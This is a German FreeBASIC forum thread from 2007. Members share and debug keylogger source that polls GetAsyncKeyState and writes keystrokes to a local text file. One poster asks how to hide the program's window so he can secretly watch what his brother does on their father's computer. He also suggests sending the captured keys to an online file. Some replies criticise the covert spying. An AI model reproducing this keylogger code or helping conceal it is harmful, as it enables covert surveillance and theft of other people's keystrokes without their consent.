Vorheriges Thema anzeigen :: Nächstes Thema anzeigen |
Autor |
Nachricht |
csde_rats

Anmeldungsdatum: 07.01.2007 Beiträge: 2292 Wohnort: Zwischen Sessel und Tastatur
|
Verfasst am: 04.08.2007, 20:01 Titel: [ERLEDIGT] Keylogger |
|
|
z.Z. versuche ich einen Keylogger zu basteln. Nur iwie kommt da nichts an:
Code: | #define WIn_INCLUDEALL 1
#include "windows.bi"
dim i as ubyte
dim a as integer
dim tmp as string
dim pst as ulongint
const Datei = "C:\test.txt"
open Datei for binary access write as #1
pst = lof(1)
do
for i = 0 to 254
a=GetAsyncKeyState(i)
if a <> 0 and i <> 166 and i <> 16 then '166 und 16 gehoeren zu schift, sollen nicht ueberprueft werden
if i <> 160 then
if a = 1 then
tmp+=UCASE$(CHR$(i)) 'klappt noch nicht ganz, buchstaben groesser bzw. kleiner machen
ELSE 'wenn a nicht 1 ist, dann ist das zeichen oft(vll. auch immer) groß
tmp+=LCASE$(CHR$(i))
End if
end if
do :loop until GetAsyncKeyState(i)=0 'so lange warten, bis die taste nicht mehr gedrueckt wird
exit for 'um doppel Zaehlungen zu vermeiden
end if
next i
pst+=seek(1)
put #1,pst,tmp
print tmp
tmp = ""
sleep 1
loop until inkey$ <>"" 'so lange laufen, bis windows zum beenden die Tastenkombination CHR$(255)+"X" sendet (glaube ich) :-)
close #1
end |
Ja mir sind diese Threads bekannt, und ich habe sie gelesen, sie konnten meine Problem mit dem Src nicht lösen.
_________________ If hilfreicher_Beitrag then klick(location.here)
Klick
Zuletzt bearbeitet von csde_rats am 04.08.2007, 20:14, insgesamt einmal bearbeitet |
|
Nach oben |
|
 |
Eternal_pain

Anmeldungsdatum: 08.08.2006 Beiträge: 1783 Wohnort: BW/KA
|
|
Nach oben |
|
 |
csde_rats

Anmeldungsdatum: 07.01.2007 Beiträge: 2292 Wohnort: Zwischen Sessel und Tastatur
|
|
Nach oben |
|
 |
ytwinky

Anmeldungsdatum: 28.05.2005 Beiträge: 2624 Wohnort: Machteburch
|
Verfasst am: 05.08.2007, 11:34 Titel: |
|
|
Hacker, Spione  _________________
v1ctor hat Folgendes geschrieben: | Yeah, i like INPUT$(n) as much as PRINT USING.. | ..also ungefähr so, wie ich GOTO.. |
|
Nach oben |
|
 |
Jojo alter Rang

Anmeldungsdatum: 12.02.2005 Beiträge: 9736 Wohnort: Neben der Festplatte
|
Verfasst am: 05.08.2007, 15:34 Titel: |
|
|
Na dann werden wir in nächster Zeit keine Csde-Programme, die als EXE vorliegen, mehr ausführen, ne?  _________________ » Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.
 |
|
Nach oben |
|
 |
King-01 gesperrt

Anmeldungsdatum: 26.02.2007 Beiträge: 351
|
Verfasst am: 05.08.2007, 20:14 Titel: |
|
|
Man muss bei dem programm nur noch hinzufügen, dass die zeichen in einer Datei im internet gespeichert werden  _________________ [quote="IRC"](22:41:56)<PMedia>Jojo, hats nen Grund warum wir chatten obwohl du grad neben mir sitzt?
...
(23:00:59)<PMedia>USB war erst als Waffe geplant[/quote] |
|
Nach oben |
|
 |
ytwinky

Anmeldungsdatum: 28.05.2005 Beiträge: 2624 Wohnort: Machteburch
|
Verfasst am: 05.08.2007, 20:17 Titel: |
|
|
Stimmt, ich erinnere mich da an ein Programm, das nur als Exe vorlag und ewig lief und kein Mensch wußte, was das Ding macht..
..und ich hab vergessen wer das war ..
Scheint, als müßte ich doch mal WinSEO 3.1 installieren..
..nicht, daß ich mißtrauisch wäre, üüüberhaupt nicht..
..aber man kann ja nie wissen  _________________
v1ctor hat Folgendes geschrieben: | Yeah, i like INPUT$(n) as much as PRINT USING.. | ..also ungefähr so, wie ich GOTO.. |
|
Nach oben |
|
 |
King-01 gesperrt

Anmeldungsdatum: 26.02.2007 Beiträge: 351
|
Verfasst am: 30.08.2007, 18:13 Titel: |
|
|
Ich versuch nun auch einen Keylogger zu schreiben und bin auf das gestoßen.
Ich wollte dabei programmierer's code verwenden.
Damit der Code auch auf der neuen FB version läuft hab ich in etwas abgeändert:
Code: |
DECLARE FUNCTION GetAsyncKeyState LIB "user32" ( _
BYVAL vKey AS LONG) AS INTEGER
DIM i AS UBYTE
DIM a AS INTEGER
DIM tmp AS STRING
DO
FOR i = 60 TO 200
a=GetAsyncKeyState(i)
IF a <> 0 AND i <> 166 AND i <> 16 THEN '166 und 16 gehoeren zu schift, sollen nicht ueberprueft werden
IF i <> 160 THEN
IF a = 1 THEN
tmp+=UCASE$(CHR$(i)) 'klappt noch nicht ganz, buchstaben groesser bzw. kleiner machen
ELSE 'wenn a nicht 1 ist, dann ist das zeichen oft(vll. auch immer) groß
tmp+=LCASE$(CHR$(i))
END IF
END IF
DO :LOOP UNTIL GetAsyncKeyState(i)=0 'so lange warten, bis die taste nicht mehr gedrueckt wird
EXIT FOR 'um doppel Zaehlungen zu vermeiden
END IF
NEXT i
IF LEN(tmp)>50 THEN
OPEN "D:\test.txt" FOR APPEND AS #1
PRINT #1,tmp;
tmp=""
CLOSE #1
END IF
SLEEP 1
LOOP UNTIL INKEY$ <>"" 'so lange laufen, bis in dem aktiven(freebasic-programm) fenster eine taste gedrückt wurde
'oder windows zum beenden die Tastenkombination CHR$(255)+"X" sendet (glaube ich) :-
END
|
(hab dabei herausgefunden, dass diese zeichen (%,$,...) hinter den variablen nicht mehr gehn.
Aber eine Fehlermeldung kommt trotzdem noch. (eigentlich sinds 2 fehlermeldungen)
Screenshot:
Da ich mich nicht mit GetAsyncKeyState auskenne, wollte ich euch fragen, wie ich das problem lösen kann?[/quote] _________________ [quote="IRC"](22:41:56)<PMedia>Jojo, hats nen Grund warum wir chatten obwohl du grad neben mir sitzt?
...
(23:00:59)<PMedia>USB war erst als Waffe geplant[/quote] |
|
Nach oben |
|
 |
Eternal_pain

Anmeldungsdatum: 08.08.2006 Beiträge: 1783 Wohnort: BW/KA
|
Verfasst am: 30.08.2007, 18:16 Titel: |
|
|
versuchs mal damit...
Code: | DECLARE FUNCTION GetAsyncKeyState LIB "user32" ALIAS "GetAsyncKeyState" (BYVAL vKey AS LONG) AS INTEGER |
_________________
 |
|
Nach oben |
|
 |
King-01 gesperrt

Anmeldungsdatum: 26.02.2007 Beiträge: 351
|
Verfasst am: 30.08.2007, 22:22 Titel: |
|
|
Danke. Das Programm lässt sich jetzt kompilieren und ausführen nur:
1. es wird nichts in die Datei geschrieben (datei existiert; wurde aber von mir, nicht vom programm angelegt). Also die Datei ist leer. Schreibschutz ist auch nicht vorhanden.
2. wie kann ich das fenster ausblenden, so dass man es wenigstens nur im taskmanager sieht?
(Ich will das programm benutzen um zu überprüfen, was mein kleiner bruder alles an meinem vater sein computer anstellt ) _________________ [quote="IRC"](22:41:56)<PMedia>Jojo, hats nen Grund warum wir chatten obwohl du grad neben mir sitzt?
...
(23:00:59)<PMedia>USB war erst als Waffe geplant[/quote] |
|
Nach oben |
|
 |
Eisbaer

Anmeldungsdatum: 16.10.2004 Beiträge: 354 Wohnort: Deutschland,Bayern
|
|
Nach oben |
|
 |
ytwinky

Anmeldungsdatum: 28.05.2005 Beiträge: 2624 Wohnort: Machteburch
|
Verfasst am: 30.08.2007, 23:56 Titel: |
|
|
King-01 hat Folgendes geschrieben: | 2. wie kann ich das fenster ausblenden, so dass man es wenigstens nur im taskmanager sieht?
(Ich will das programm benutzen um zu überprüfen, was mein kleiner bruder alles an meinem vater sein computer anstellt ) | ..wenn das mein Computer wäre, würde es mich schon stören, wenn mein jüngerer Sohn Sachen daran macht, von denen ich nichts weiß..
Noch mehr würde es mich aber stören, wenn mein älterer Sohn (selbstgeschriebene) Spionageprogramme auf meinem Rechner installiert(zu welchem Zweck auch immer..)
Auf alle Fälle würde ich erstmal prüfen, ob ihm nicht jemand gezeigt hat, wie Programme als Dienst installiert werden können..
Mal abgesehen davon, daß ich die Rechte so verteilen würde, daß keiner von beiden auch nur das Geringste verstellen kann.. _________________
v1ctor hat Folgendes geschrieben: | Yeah, i like INPUT$(n) as much as PRINT USING.. | ..also ungefähr so, wie ich GOTO.. |
|
Nach oben |
|
 |
|